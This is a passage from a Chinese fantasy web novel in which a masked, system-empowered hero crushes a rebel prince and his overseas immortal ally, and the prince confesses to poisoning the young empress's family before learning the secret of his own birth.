这血腥恐怖、却又轻描淡写的一幕,瞬间震慑了全场!
无论是冲击宫门的叛军,还是苦苦支撑的禁军,甚至包括靖王身边那些高手,全都骇然变色,惊恐地望向空中那道身影!
举手投足间,灭杀上百重甲!
这是何等恐怖的实力?
这已非人力所能及!
“陆地神仙!”
不知是谁,用颤抖的声音嘶喊出了这个令人绝望的称谓。
靖王萧恒脸上的冷笑骤然僵住,瞳孔剧烈收缩,死死地盯着空中那道戴着面具的身影,眼中首次露出了深深的忌惮与惊惧。
但他毕竟枭雄心性,迅速稳住心神,深吸一口气,越众而出,对着空中的江凡遥遥拱手,声音洪亮,带着几分客气,却也暗藏锋锐:
“阁下想必就是近来名动京华的‘逍遥公子’前辈?晚辈萧恒,这厢有礼了。前辈乃方外高人,超然物外,何必插手我大夏萧氏皇族内部的家务事?
此乃皇权更迭,天道循环,前辈强行干预,恐违天和,亦损道行。不若…前辈就此袖手旁观,待晚辈事了,定有厚报!
前辈但有所求,金银财帛,美人珍宝,乃至…这大夏国师之位,晚辈皆可双手奉上!甚至…”
他眼中闪过一丝狠色与诱惑,
“若前辈有意,这大夏皇帝的宝座,晚辈亦愿与前辈共坐!如何?这条件,可比那黄毛丫头能给的,优厚十倍不止吧?”
他竟直接许以皇位共享!
不可谓不疯狂,不诱人!
他相信,任何武者,哪怕修为再高,面对如此权势地位的诱惑,也难免心动。
然而,回应他的,只是空中传来的一声嗤笑。
“靖王萧恒,”江凡的声音透过面具传出,带着一种俯瞰蝼蚁般的漠然,
“收起你那套把戏。老夫行事,但求心安。既已应允护佑当今天子,便绝不会出尔反尔。至于你的厚报…呵,老夫不稀罕。”
就在这时,宫门内一阵骚动,禁军向两侧分开。
只见萧璇月已换上了一身便于行动的玄色劲装,在一众皇宫供奉的簇拥下,快步走了出来。
她脸色微微有些苍白,但眼神却异常坚定。
目光首先落在空中那道身影上,看到那熟悉的身影和面具,心中瞬间被巨大的安全感填满,仿佛有了主心骨。
听到靖王那番无耻的招揽和江凡毫不犹豫的拒绝,她唇角甚至微微勾起了一丝自豪的笑意。
她就知道,他不会答应的。
萧璇月的出现,让靖王眼神更加阴鸷。
他看了看空中油盐不进的‘逍遥公子’,又看了看被严密保护的女帝,心知言语诱惑已然无用,脸色彻底阴沉下来,眼中闪过一丝疯狂。
“逍遥前辈!”他声音转冷,带着威胁,
“你当真要为了这个小丫头,与本王,与本王背后的势力,不死不休?你可知道,本王既然敢来,自然有万全的准备!你真以为,凭你一人,就能逆转乾坤吗?”
“万全的准备?”
江凡嗤笑一声,语气带着嘲讽,
“不就是从海外哪个犄角旮旯,请了个不知所谓的所谓‘陆地神仙’撑腰吗?怎么,藏了这么久,还不舍得让他出来见见光?还是说,看到老夫在此,吓得不敢出来了?”
此言一出,靖王脸色骤变!
他最大的底牌,最深的倚仗,竟然被对方一口道破?
他是如何得知的?
难道…自己身边有内奸?
不可能!
此事绝密,只有他与那海外高人心腹数人知晓!
靖王身边,那些高手也纷纷变色,下意识地看向队伍后方某个不起眼的角落。
那里,一个一直垂手而立、仿佛普通随从、穿着灰色布袍、相貌平平无奇的中年男子,缓缓抬起了头。
当他抬头的刹那,一股截然不同的恐怖气息,悄然弥漫开来!
虽然不如江凡方才出手时那般霸道张扬,却更加深沉可怕,仿佛蕴含着毁天灭地的力量!
周围的空气似乎都凝滞了,温度骤降!
“陆地神仙!”
玄老瞳孔紧缩,低呼出声,下意识地上前半步,将萧璇月护得更紧。
其他供奉也如临大敌,气息勃发。
那灰袍男子缓缓迈步,越过众人,走到靖王身侧,目光平淡地看向空中的江凡,声音不高,却带着一种穿透力:
“本座‘沧溟子’,来自
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东海‘玄龟岛’。阁下能一口道破本座存在,看来也非庸手。
不过,阁下如此自信,莫非真以为,凭你一人,便能抵挡本座,护住这摇摇欲坠的皇城?”
他语气平淡,却带着一种久居上位、视众生如蝼蚁的漠然与傲慢。
显然,他对自己陆地神仙的修为,极为自信。
江凡感受着体内【陆地神仙体验卡】的力量正在缓缓消退,但他心中丝毫不慌。
因为就在刚才**叛军、与靖王对峙的这短短时间内,系统人气值再次突破了五百万大关!
足够他再兑换几张体验卡,甚至…有余力做点别的。
他看着下方那个自称‘沧溟子’的海外高手,心中忽然涌起一股强烈的冲动——试试!
试试这‘陆地神仙体验卡’赋予的力量,与真正的、这个世界的陆地神仙,到底有多大差距!
也顺便,掂量一下所谓海外高手的成色!
“是不是庸手,试过便知。”
江凡语气淡漠,不再废话,身形一晃,突兀地消失在原地!
下一瞬,他已出现在那沧溟子身前数丈之处,毫无花哨,一拳轰出!
看似简单的攻击,但就连极道宗师也只能看到一些残影。
没有真气外放,没有华丽光影,就是简简单单、直来直去的一拳!
然而,拳头所过之处,空间仿佛都被压缩扭曲,一股无形的恐怖力量,瞬间锁定沧溟子!
“嗯?”
沧溟子眼中闪过一丝讶异,似乎没料到对方说打就打,而且速度如此之快,力量如此凝练!
但他反应亦是极快,冷哼一声,不闪不避,同样一拳迎上!
拳锋之上,隐隐水光流转,仿佛蕴含着大海的磅礴与厚重。
“轰——!!!”
两只拳头,毫无花哨地碰撞在一起!
修为到了这个地步,任何花哨的**武技都可以省去。
一声沉闷的闷响,以两人拳头碰撞点为中心,一圈肉眼可见的的透明涟漪,猛然扩散开来!
“噗——!”
“啊——!”
涟漪所过之处,无论是靖王身边那些宗师、大宗师高手,还是稍近一些的重甲士兵,全都吐血倒飞出去!
第221章 武神殿成员
不少实力稍弱者筋断骨折,当场毙命!
仅仅是两人对拳的余波,便恐怖如斯!
而碰撞的核心处,江凡身形微微一顿,纹丝未动。
而那沧溟子,却是脸色骤然一白,整个人‘噔噔噔’连退七八步,每一步都在青石地面上留下一个深达数寸的脚印!
最后一步,更是‘哇’地喷出一大口鲜血,气息瞬间萎靡下去,脸上血色尽褪!
“陆地神仙…巅峰?这不可能!”
沧溟子猛地抬头,死死地盯着江凡,声音颤抖。
他清晰地感觉到,对方那一拳之中蕴含的力量,无论是质还是量,都远超他这个刚刚踏入陆地神仙门槛不久的初期!
那是近乎圆满、触摸到更高层次的力量!
自己与之相比,如同溪流之于江河!
江凡也有些意外。
他本以为会是一场势均力敌、甚至需要费些手脚的战斗,没想到…对方这么‘脆’?
仅仅一拳,就吐血受伤?
看来,这系统出品的【陆地神仙体验卡】,赋予的不仅是境界,更是该境界的巅峰战力!
而对方,显然只是个初入此境的新手,无论是力量掌控、还是对天地之力的运用,都远不如‘体验卡’状态下的自己。
想通此节,江凡心中大定,同时一股豪情油然而生。
他负手而立,看着狼狈不堪的沧溟子,语气带着一丝失望和调侃:
“海外仙岛?沧溟子?就这?老夫还以为有多大能耐,敢来中土搅风搅雨。看来,你还得再练练啊,小老弟。”
“你…!”
沧溟子又惊又怒,更是羞愤交加。
他身为玄龟岛长老,在海外也是威名赫赫,何曾受过如此羞辱?
可对方的实力,实实在在碾压了他!
萧璇月看着那无敌背影,眼神已经拉丝了。
这混小子,竟然这么强?
也不知道其他方面...咳咳...
而此刻,靖王萧恒的脸色,已经从铁青变成了惨白!
他最大的倚仗,他付出了难以想象代价才请动的海外陆地神仙,竟然…被‘逍遥公子’一拳就打得吐血受伤?
这逍遥公子,到底是什么怪物?
实力竟然恐怖如斯?
巨大的恐惧瞬间充斥全身,他再也顾不得什么帝王霸业,什么皇位江山,心中只有一个念头——逃!
必须立刻逃走!
留得青山在,不怕没柴烧!
“前辈!逍遥前辈!”
靖王噗通一声,竟直接对着空中的江凡跪了下来,脸上挤出谄媚而惊恐的笑容,声音颤抖着,语无伦次地求饶:
“晚辈有眼无珠,冒犯前辈天威!晚辈知错了!晚辈愿意立刻退去,从此远走海外,永不踏入大夏半步!不!晚辈愿意奉前辈为主!
前辈想要什么,晚辈的一切都可以献给前辈!只求前辈饶晚辈一命!晚辈…晚辈还可以帮前辈掌控大夏朝堂,搜罗天下美女珍宝…”
看着曾经不可一世、阴谋篡位的靖王,此刻如同丧家之犬般跪地求饶,丑态百出,萧璇月眼中闪过一丝鄙夷与快意,但更多的是冰冷。
云暮也忍不住低声啐了一口:
“呸!无耻!”
江凡却只是冷漠地看着他,如同看着一只蝼蚁,淡淡道:
“老子有这实力,真的稀罕你这些东西,还需要你来给?”
这话说得…实在太过直白,也太过霸气!
言下之意,以他陆地神仙巅峰的修为,若真想要权势财富美人,天下何处不可得?
何需你靖王来献?
这话噎得靖王哑口无言,脸色灰败。
而萧璇月和云暮听到这话,先是一愣,随即差点笑出声来。
这话…这语气,怎么越听越像江凡那个惫懒家伙平日里的调调?
尤其是那句‘老子’…虽然粗俗,但用在此刻‘逍遥前辈’身上,却有种奇特的、反差萌般的霸气和真实感。
她们脑海中不由自主地浮现出江凡平日里插科打诨、对金银珠宝似乎并不十分上心、只想偷懒的模样,心中更是莞尔。
是啊,以江凡的实力和性子,若真在意这些,就连皇位都可以自己争取。
但那家伙就是懒散性子,一心只想当纨绔。
靖王见利诱求饶无用,最后一丝希望也破灭了,眼中充满穷途末路的疯狂与怨毒。
他猛地抬头,看向受伤的沧溟子,嘶声道:
“沧溟前辈!你快走!将此间事情,禀报武神殿!就说大夏有陆地神仙,无故击杀我武神殿外围成员,挑衅武神殿威严!请武神殿为我等做主啊!”
武神殿?
这个名字一出,萧璇月身
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边的玄老脸色骤变!
他猛地看向那沧溟子,又看向江凡,急忙出声,既是解释,也是提醒:
“陛下,逍遥前辈!武神殿乃是遍布整个大陆的神秘超然组织,势力深不可测!据说大陆上所有成就陆地神仙的强者,都会受到他们的‘招揽’——
要么选择加入,受其约束;要么…就会被其视为威胁,加以铲除!其麾下强者如云,甚至不乏陆地神仙之上的存在!
连那大陆第一情报组织四季楼,传闻也不过是武神殿下属诸多外围势力之一!此人若真是武神殿成员,杀之…恐后患无穷啊!”
玄老的话,如同又一盆冷水,浇在刚刚因为江凡大展神威而振奋的众人心头。
武神殿!
一个凌驾于世俗王朝之上、掌控着大陆顶级武力的庞然大物!
得罪了它,等同于与整个大陆的顶级武力为敌!
萧璇月闻言,心中也是一紧,连忙看向空中的江凡,急切道:
“前辈!玄老所言甚是!武神殿势大,不宜硬撼!此人…要不就放他离去?只要他立誓不再插手我大夏之事即可!”
她虽然痛恨靖王和这些叛逆,但更不想让江凡因为大夏而惹上如此恐怖的敌人。
那沧溟子听到玄老说出武神殿的威名,又见女帝等人露出忌惮之色,原本惊惶的脸上,顿时重新泛起一丝血色,腰杆也挺直了些,眼中闪过一丝得意与倨傲。
他擦去嘴角血迹,冷冷地看着江凡,声音恢复了之前的傲慢,甚至带着一丝威胁:
“哼,现在知道怕了?晚了!本座乃玄龟岛长老,亦是武神殿登记在册的外围成员!你既已知武神殿威名,还不速速跪下请罪,自废武功。
或许本座心情好,还能在武神殿执法使面前,为你美言几句,留你一条全尸!否则,武神殿尊严不容亵渎,天上地下,再无你容身之处!
届时,不仅你要死,这大夏皇族,这满城百姓,都要为你今日的狂妄陪葬!”
他越说越是得意,仿佛已经看到了对方在武神殿的威名下瑟瑟发抖、跪地求饶的场景。
“至于这皇位…嘿嘿,女帝,本座可以做主,只要你乖乖退位,将皇位让与靖王,本座可保你性命无忧,做个闲散富家翁,如何?”
他竟又转向萧璇月,提出了条件。
第222章 早想收拾你
然而,沧溟子这番色厉内荏、狐假虎威的威胁,听在江凡耳中,却只觉得无比可笑,甚至…点燃了他心中的怒火!
“武神殿?呵呵…”
江凡忽然低低地笑了起来,笑声起初很轻,随即越来越大,充满了嘲讽与杀意!
“好一个武神殿!好一个不容亵渎的尊严!老子管你什么武神殿还是六神殿、八神殿!”
他笑声戛然而止,目光死死锁定了那因为他的笑声而再次露出惊疑不定的沧溟子,一字一句,带着滔天的怒火与霸气:
“既然敢来招惹老子,敢来动老子要护着的人,敢坏老子的…呃...兴致!”
他顿了一下,似乎在强行压抑某种情绪:
“那今天,别说你是什么狗屁武神殿的外围成员,就算你是武神殿殿主亲至,老子也照杀不误!”
最后一个字出口的瞬间,江凡动了!
这一次,他不再留手,不再试探!
体内那属于陆地神仙巅峰的磅礴力量,轰然爆发!
他整个人瞬间出现在那沧溟子面前!
右手五指张开,掌心之中,一点璀璨的暗金色光芒骤然亮起,然后,毫不犹豫地,一掌按在了沧溟子惊恐万状的胸膛之上!
“不—你不能杀....”
沧溟子发出绝望的嘶吼,体内真元疯狂涌动,试图抵抗。
然而,在绝对的力量差距面前,一切抵抗都是徒劳!
“噗嗤!”
沧溟子整个胸膛,连同里面的脏腑、骨骼,瞬间被震得粉碎!
他瞪大了眼睛,眼中充满了恐惧、悔恨与难以置信,身体向后抛飞,尚在半空,便已彻底失去了所有生机。
最后‘啪嗒’一声,摔落在数十丈外,再无半点声息。
一位来自海外仙岛、陆地神仙初期的强者,威名赫赫的沧溟子,在众目睽睽之下,被‘逍遥公子’一掌,拍得尸骨无存,形神俱灭!
全场死寂!
所有人都被这血腥、暴力、却又充满无上威慑力的一幕,震撼得失去了思考能力!
无论是叛军,还是禁军,甚至包括萧璇月和她身边的供奉,全都目瞪口呆,屏住了呼吸,难以置信地看着那道缓缓收回手掌的身影。
杀了…他真的杀了!
毫不犹豫,毫不留情!
哪怕对方亮出了武神殿的名头!
靖王萧恒呆若木鸡,脸上的表情凝固在恐惧与绝望之中,身体不受控制地剧烈颤抖起来,裤裆处传来一阵湿热的骚臭—他,竟然被吓得失禁了!
他最后的倚仗,最大的底牌,就这么…没了?
被一掌拍**?
那自己…还有什么活路?
而江凡在拍死沧溟子的瞬间,清晰地感觉到,体内那股浩瀚的陆地神仙之力,如同潮水般迅速退去。
【体验卡】的时间,到了。
但他心中毫无波澜。
在众人还未从震撼中回神之际,他毫不犹豫,再次于心中默念:
“系统,兑换【陆地神仙体验卡】,使用!”
【叮!消耗人气值1,000,000点!使用成功!宿主再次获得‘陆地神仙’境界体验,持续时间:半个时辰。】
江凡感受着这份力量,目光冰冷地扫过下方瘫软在地、面如死灰的靖王,以及他身边那些同样吓得魂飞魄散、进退失据的高手和重甲士兵。
他缓缓从空中落下,站在靖王面前数丈之处,居高临下,如同神祇俯瞰尘埃。
“我答应…让你走了吗?”
平静的声音,却如同死神的丧钟,敲在靖王和每一个叛军心头。
靖王浑身一颤,猛地惊醒,嘶声对着身边那些残存的大宗师、极道宗师高手吼道:
“拦住他!给本王拦住他!谁能杀了他,本王封万户侯!不!封王!”
重赏之下,必有勇夫。
尽管心中恐惧到了极点,但仍有四名大宗师和两名极道宗师,在封王诱惑和绝境逼迫下,眼中闪过疯狂之色。
几人狂吼着,爆发出全部修为,从不同方向,朝着江凡猛扑过来!
刀光剑影,拳风掌劲,交织成一张死亡的罗网,誓要将其绞杀!
“蚍蜉撼树,不自量力。”
江凡甚至懒得抬手。
他只是轻轻哼了一声,周身那无形无质的陆地神仙威压,轰然扩散!
噗!噗!噗!
……
那六名扑上来的高手,护体真气瞬间溃散,身体在空中诡异地停顿了一瞬,然后——爆了!
六人连惨叫都未能发出,身体便在同一时间,齐齐爆裂开来!
化作六团猩红刺目的血雾,泼洒在夜空之下,将附近的地面染得一片狼藉!
血腥!残酷!霸道!无敌!
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这一幕,彻底摧毁了所有叛军最后一丝抵抗的意志!
“哐当!”
“哐当!”
“哐当!”
不知是谁带头,幸存的数百重甲士兵,纷纷惊恐地扔掉了手中沉重的兵器,朝着江凡和女帝的方向,磕头如捣蒜,哭喊着求饶:
“饶命啊!前辈饶命!陛下饶命!我等是被靖王蒙蔽逼迫的!我等愿降!愿效忠陛下!求陛下开恩,饶我等狗命啊!”
那些原本属于靖王阵营、但并未出手的供奉和高手,也再不敢有丝毫犹豫,纷纷跟着跪下,以头抢地,争先恐后地发誓:
“我等愿发誓,从此效忠陛下,效忠大夏,如有二心,天诛地灭,不得好死!求前辈、陛下饶命啊!”
转眼之间,刚才还杀气腾腾、势不可挡的三千叛军和数十高手,除了变成血雾和尸体的,全都跪倒在地,瑟瑟发抖,乞求活命。
江凡看都没看那些跪地求饶的蝼蚁,他的目光,始终锁定在瘫坐在地、面无人色、的靖王萧恒身上。
他缓缓抬起脚,轻轻向前一踏。
“咔嚓!”
一声骨裂声响起!
靖王发出一声凄厉的惨叫!
他的双膝,竟被硬生生压得粉碎!
整个人以扭曲的姿势,被强行‘按’得跪在了地上,面向萧璇月的方向!
“啊——!!我的腿!我的腿!”
靖王痛苦地哀嚎,涕泪横流,哪里还有半分枭雄模样?
江凡走到他面前,单手将他提了起来,让他与自己平视。
看着靖王眼中那刻骨的怨毒、恐惧,以及深深的不解,江凡语气淡漠:
“在大夏搅风搅雨,阴谋叛乱,残害忠良,引狼**,置边关将士和百姓于不顾…老夫,早就想收拾你了。”
靖王口中溢出鲜血,死死瞪着江凡,嘶声问道:
“为…为什么?!你…你为什么要如此帮她?为什么要处处与本王作对?甚至在…在那话本之中,也屡次诋毁于本王,抬高那小丫头!为什么?本王与你,有何仇怨?!”
他不甘心!
他布局多年,隐忍多年,眼看就要成功,却毁在这个神秘莫测的‘逍遥公子’手中!
他至死都想不通,这个突然冒出来的陆地神仙,为何要如此不遗余力地帮助萧璇月,甚至不惜与武神殿为敌!
第223章 悲伤的秘密
江凡还没回答,萧璇月已在一众供奉的护卫下,走到了近前。
她看着如同死狗般被提着的靖王,眼中没有丝毫怜悯,只有冰冷的恨意与痛心。
她厉声道:
“为什么?皇叔,你还有脸问为什么?!皇祖父和父皇念及血脉亲情,将最富庶的江南赐予你做封地,享尽荣华。
你不但不思报答君恩,反而贪得无厌,勾结外敌,阴谋叛乱!致使国库空虚,边关危急,民不聊生!若非你,大夏何至于沦落至此?你还有何颜面,质问前辈?”
靖王闻言,却仿佛听到了天大的笑话,忽然疯狂地大笑起来,笑声凄厉而怨毒,充满了无尽的恨意:
“哈哈哈…亲情?君恩?萧璇月!你懂什么?你皇祖父,你父皇,他们欠我的!这大夏的江山,本该有我一份!是他们偏心!是他们对我不公!”
他猛地转头,死死瞪着萧璇月,眼中充血,如同厉鬼:
“还有你那个该死的母后!那个**!若不是她…”
他似乎想说什么,但剧烈的咳嗽打断了他,口中鲜血不断涌出。
江凡皱了皱眉,不想再听这乱臣贼子的疯言疯语。
他看向那些跪伏在地的叛军和降将,又看了看周围无数被惊动、在远处观望的禁军、太监、宫女。
深吸一口气,这才缓缓开口,声音并不大,却清晰地传遍了皇宫每一个角落:
“今日,老夫在此,把话放下。”
他顿了顿,目光如电,扫视全场,最终落在手中奄奄一息的靖王身上,语气森然,带着一种威严与杀意:
“无论何人,无论何种身份,无论背后有何等势力撑腰——”
“犯我大夏者,”
“虽远必诛!”
“虽强必戮!”
“虽隐必现!”
“虽——久——必——偿!”
最后四个字,他几乎是逐字吐出,每一个字都仿佛带着千钧重量,砸在每个人心头,带着一种对一切敢于侵害这片土地之敌的决绝宣判!
短暂的死寂之后——
“虽远必诛!虽强必戮!”
不知是谁带头,幸存的禁军将士,那些跪地投降的叛军,甚至远处一些胆大的太监宫女,都跟着激动地呐喊起来!
声音起初杂乱,随即越来越整齐,越来越响亮,席卷整个皇宫,冲上云霄!
“虽远必诛!虽强必戮!”
“虽远必诛!虽强必戮!!”
这呐喊声,充满了劫后余生的激动,对强大力量的敬畏,以及对国家、对君主重新燃起的信心与热血!
无数人热泪盈眶,看着空中那道如同战神般的身影,心中充满了前所未有的自豪与安全感!
有如此强者庇佑大夏,何惧外敌?
何惧叛逆?
萧璇月站在人群中,仰望着那道月白身影,听着震天的呐喊,心中激荡,难以自已。
她知道,今夜之后,‘逍遥公子’之名,将真正成为大夏的守护神,成为震慑一切宵小的定海神针!
而这一切,都是因为…他。
她看着**凡提在手中、如同死狗般的靖王,眼中最后一丝阴霾也散去。
这个困扰大夏多年的毒瘤,终于,要在今夜彻底清除了。
靖王萧恒濒死之际,反而爆发出最后一股癫狂的力气,瞪着萧璇月歇斯底里地嘶吼起来,声音充满了怨愤与不甘:
“哈哈哈…萧璇月!你懂什么?你们父女,还有那个老不死的,都欠我的!这大夏的江山,这龙椅,本来就该是我的!是我的!!”
他眼中充血,仿佛陷入了遥远的回忆,声音断断续续,却字字泣血:
“当年…父皇…不,你皇祖父!他明明最属意的人是我!我文韬武略,哪一样不比你那庸碌的父亲强?朝中过半大臣,都支持立我为太子!
立储大典在即,一切都已准备就绪!可偏偏…偏偏就在那个时候!宫中突然传出流言,说我出身有疑,非父皇骨血!
哈哈…好一个莫须有的罪名!就因为这捕风捉影的谣言,我母妃…我最敬爱的母妃丽妃,被逼得在冷宫中悬梁自尽!以死明志!”
说到母亲,靖王眼中泪水混着血水滚滚而下,状若疯魔:
“而我呢?一夜之间,从天之骄子,从即将入主东宫的太子,变成了身份可疑、备受冷落的皇子!最后,更是被打发到遥远的江南,封了个有名无实的‘靖王’!
美其名曰就藩,实则是流放!是羞辱!这一切,都是你父亲
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!是你那个看似宽厚、实则心机深沉的父亲搞的鬼!
是他嫉妒我,怕我威胁他的太子之位,才用如此卑鄙的手段陷害我母妃,构陷于我!这江山,这皇位,是他从我手里抢走的!我拿回来,有什么错?”
他嘶吼着,仿佛要将积压了数十年的委屈、愤怒、仇恨全部倾泻出来,哪怕明知必死,也要在死前,将自己认定为的‘真相’公之于众。
让所有人知道,他萧恒,才是受害者,才是被辜负、被掠夺的那一个!
周围的禁军、投降的叛军、甚至一些不明就里的官员和太监,听到这番皇室秘辛,无不面露惊骇,面面相觑,窃窃私语起来。
若靖王所言为真,那这皇位之争的背后,竟藏着如此不堪的往事?
萧璇月静静地看着陷入癫狂的靖王,脸上没有愤怒,也没有被指责的慌乱,只有一种深深的疲惫与怜悯。
等靖王吼得声嘶力竭,只剩下粗重的喘息时,她才轻轻叹了口气。
“皇叔,”她声音平静,却带着一种穿透力,
“你口口声声说皇祖父属意于你,说父皇构陷于你。可你是否想过,皇祖父文治武功,雄才大略,乃不世出的明君。
他若真的属意你,又岂会因一些空穴来风的流言,就轻易改变储君人选?甚至…逼死他最宠爱的丽妃娘娘?”
靖王猛地抬头,眼中闪过一丝迟疑,但随即又被仇恨掩盖:
“那是因为…那是因为你父亲手段高明,伪造证据,蒙蔽了父皇!”
“蒙蔽?”
萧璇月摇了摇头,目光复杂地看着他,忽然从自己贴身的衣襟内,小心翼翼地取出了一个边缘已有些磨损、用火漆封口的明黄色信封。
她将信封轻轻扔到靖王面前的地上。
“皇祖父从未被蒙蔽。他也从未想过要换太子。之所以会有后来的变故,之所以丽妃娘娘会自尽,之所以你会被外放就藩…一切的根源,都在这封信里。”
萧璇月的声音带着一丝颤抖,仿佛在陈述一个沉重而悲伤的秘密:
“这是丽妃娘娘…在自尽前,托她身边最忠心的老嬷嬷,冒死送出宫,交到当时尚是皇后的太皇太后手中的绝笔信。信中…记述了一切。”
第224章 身世的真相
靖王死死地盯着地上那封信,瞳孔剧烈收缩,身体不受控制地颤抖起来。
一种不祥的预感缠上他的心脏。
他颤抖着伸出手,艰难地将信封捡起,撕开封口,取出了里面几张已然发黄、但字迹依旧清晰的信笺。
借着周围火把的光芒,他低头看去。
只看了几行,他的脸色就瞬间变得惨白如纸,没有一丝血色!
拿着信纸的手抖得几乎要拿捏不住。
那熟悉的、娟秀中带着一丝倔强的字迹,是他母亲的笔迹!
绝不会错!
他自幼临摹母亲字帖,再熟悉不过!
信中的内容,一刀一刀,将他数十年来赖以支撑的信念、仇恨、以及那虚幻的‘太子’份,切割得支离破碎!
信中,他的母亲丽妃,以无比悔恨、痛苦的笔调,向太皇太后坦白了一切。
她承认,在入宫前,曾与家乡一位青梅竹马的少年郎互许终身,甚至已私定终身。
入宫后,虽得先帝盛宠,心中却始终难忘旧情。
一次先帝南巡,她随行,机缘巧合之下,竟与那已成为一方小吏的旧情人重逢…旧情复燃,珠胎暗结。
她恐惧,挣扎,却最终在旧情人的甜言蜜语和腹中骨肉的牵绊下,选择了隐瞒。
她利用先帝的宠爱和信任,巧妙地将孕期时间后推,成功地将这个并非龙种的孩子,伪装成了皇子,也就是——他,萧恒。
她本打算将这个秘密带入坟墓。
可随着先帝对他的喜爱日益加深,甚至流露出要立他为太子的意向,她心中的恐惧和愧疚也与日俱增。
她深知,一旦这个野种登上皇位,不仅是对先帝、对萧氏皇族最大的背叛和侮辱,更可能给大夏带来无法预料的灾难。
她夜不能寐,备受煎熬。
最终,在先帝正式决定立储前夕,巨大的心理压力和良知谴责彻底击垮了她。
她选择向当时还是皇后的太皇太后坦白一切,并恳求她,看在多年姐妹情分和皇室颜面的份上,设法阻止先帝立萧恒为太子。
但…不要公布这个丑闻,不要伤害萧恒的性命,让他能以一个王爷的身份,平安富贵地度过余生。
然后,她留下这封绝笔信,在冷宫中,用一根白绫,结束了自己年轻而充满罪孽的生命,以死谢罪。
信的最后,是太皇太后的亲笔批注和见证,以及先帝得知真相后,那痛彻心扉、却又不得不为了皇室尊严和已故爱妃最后心愿而强压悲愤,默许了此事的印鉴。
靖王看完,信纸从他无力的手中滑落,飘然落地。
他整个人瘫软在地,眼神空洞,失去了所有神采,口中只反复地、无意识地喃喃着:
“不…不是的…怎么会是这样…母妃…母妃…我是皇子…我是太子…我不是野种…不是…”
真相,远比虚构的阴谋更加残酷。
他汲汲营营、恨之入骨、视为毕生目标的皇位,从一开始就与他无关,甚至他的存在本身,就是对那个皇位最大的亵渎。
他所以为的构陷与不公,实则是对他、对他母亲,乃至对皇室最大的宽容与遮掩。
先帝没有杀他,甚至给了他最富庶的封地;
他同父异母的兄长登基后,也从未刻意打压,反而多有优容。
他们所顾忌的,并非什么兄弟亲情,而是对已故丽妃的承诺,对皇室丑闻的掩盖,以及…那一点或许残存的、对一个被蒙在鼓里数十年的‘弟弟’的怜悯。
荒谬感、耻辱感,以及信仰崩塌后的虚无,瞬间淹没了靖王。
他所有的野心,所有的仇恨,所有的挣扎,在这一刻,都变成了一个可悲的笑话。
萧璇月看着他这副失魂落魄、信仰崩溃的模样,眼中最后一丝因他叛乱而生的怒火也渐渐熄灭。
她上前一步,打破了死寂:
“现在,你明白了?皇祖父,父皇,乃至朕,从未亏欠你什么。相反,是皇室,是萧家,容忍了你这个并非血脉的存在,给了你一人之下、万人之上的尊荣富贵!可你呢?”
她的语气陡然转厉,带着压抑不住的痛心与愤怒:
“你坐拥江南膏腴之地,不思报国,反而变本加厉,贪得无厌!勾结北莽南蛮,引狼**!致使边关烽火连天,将士流血,百姓遭难!更可恨的是——”
她眼中泛起泪光,声音因激动而颤抖:
“朕的父
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皇、母后,还有朕那几个尚未成年的皇兄,他们先后‘暴病’而亡,是不是都是你的手笔?
还有朕!朕自小体弱,修炼缓慢,宫中太医屡治无效,后来才知是长期被人下了慢性奇毒,损及根基!若不是…若不是江…”
她说到这里,猛地顿住,改口道:
“若不是机缘巧合,被高人察觉,朕只怕至今仍是个手无缚鸡之力、随时可能‘病逝’的傀儡皇帝!这一切,是不是你做的?”
靖王瘫在地上,仿佛已经失去了所有生气,听到萧璇月的质问,他木然地抬起头,眼中已无神采。
他咧开嘴,露出一个带着自嘲与绝望的笑容,点了点头,声音沙哑干涩:
“是…都是我做的。你的父皇,那个假仁假义的‘好兄长’,是我买通他身边的太监,在他每日必服的补药中,加入了无色无味的‘蚀心散’,让他看似心悸衰竭而亡。
你的母后,是我让人在她的熏香里混入了‘幻梦引’,使她长期精神恍惚,最终‘失足’落水。你那几个皇兄…呵,不过是些挡路的石头,清理掉,费不了多少功夫。”
他每说一句,萧璇月的脸色就白一分,身体微微颤抖,指甲深深掐入掌心,渗出鲜血。
周围的禁军和官员,更是听得毛骨悚然。
“至于你…”
靖王看向萧璇月,眼中闪过一丝复杂,
“你是我计划中最后的障碍。本想让你无声无息地‘病逝’,没想到…你命大,身边竟有高人能识破那‘跗骨之蛆’之毒。
更没想到,你非但没死,反而借此机会,清除了宫中不少我的眼线,还…修为精进。”
他自嘲地笑了笑:“时也,命也。如今,一切真相大白,我也没什么好隐瞒的了。成王败寇,我死不足惜,也不奢求原谅。只是…”
他忽然转头,看向一直沉默立于一旁的江凡,眼中闪过一丝奇异的光芒,那光芒中,有怨毒,有幸灾乐祸,也有一丝解脱般的恶意:
“逍遥前辈,你今日神威无敌,一掌毙杀沧溟子,确实令人惊叹。但…你可知,你杀的不是一个普通的陆地神仙,而是武神殿登记在册的外围成员...”
第225章 送靖王上路
靖王喘了口气,继续道:
“武神殿的势力,远超你的想象。它并非一个简单的宗门,而是一个笼罩整个大陆、掌控着顶级武力秩序、连诸多王朝帝国都要仰其鼻息的庞然巨物!
其内高手如云,四季楼不过是其麾下搜集情报的走狗之一!你今日杀了沧溟子,便是公然挑衅武神殿的威严!
用不了多久,武神殿的执法使,甚至更恐怖的存在,便会降临大夏!届时,莫说是你,便是这整个大夏皇朝,亿万生灵,都可能因你今日之举,而遭受灭顶之灾!
哈哈哈…你自以为救了她,救了大夏,实则…是将他们拖入了更深的、万劫不复的深渊!”
这番话,如同最恶毒的诅咒,让刚刚因为平定叛乱而稍显轻松的气氛,瞬间再次凝重起来。
玄老等供奉脸色剧变,眼中充满了深深的忧虑。
萧璇月也是心头一紧,下意识地看向江凡。
然而,面对靖王这充满恶意和恐惧的‘预言’,江凡的反应,却只是发出了一声嗤笑。
那笑声中,充满了毫不掩饰的嘲讽、不屑,以及一种凌驾于万物之上的、近乎漠然的霸气。
“武神殿?很厉害么?”
他缓缓开口,声音透过面具传出,平静得没有一丝波澜,
“老夫行事,但求问心无愧。他既然敢来,敢动手,敢威胁老夫要护着的人,那便是自寻死路。
莫说他是什么武神殿的外围成员,便是武神殿的殿主亲临,敢犯大夏,敢动老夫要保的人——”
他顿了顿,目光如电,扫过全场,最终落在靖王那因惊愕而扭曲的脸上,斩钉截铁的说道:
“老夫也一样,照杀不误。”
“至于武神殿的报复…”
他微微抬头,仿佛在遥望无尽的虚空,语气中透出一股俾睨天下的豪情与漠然,
“他们若识相,就此罢手,老夫也懒得去找他们麻烦。他们若是不知死活,非要来寻仇…”
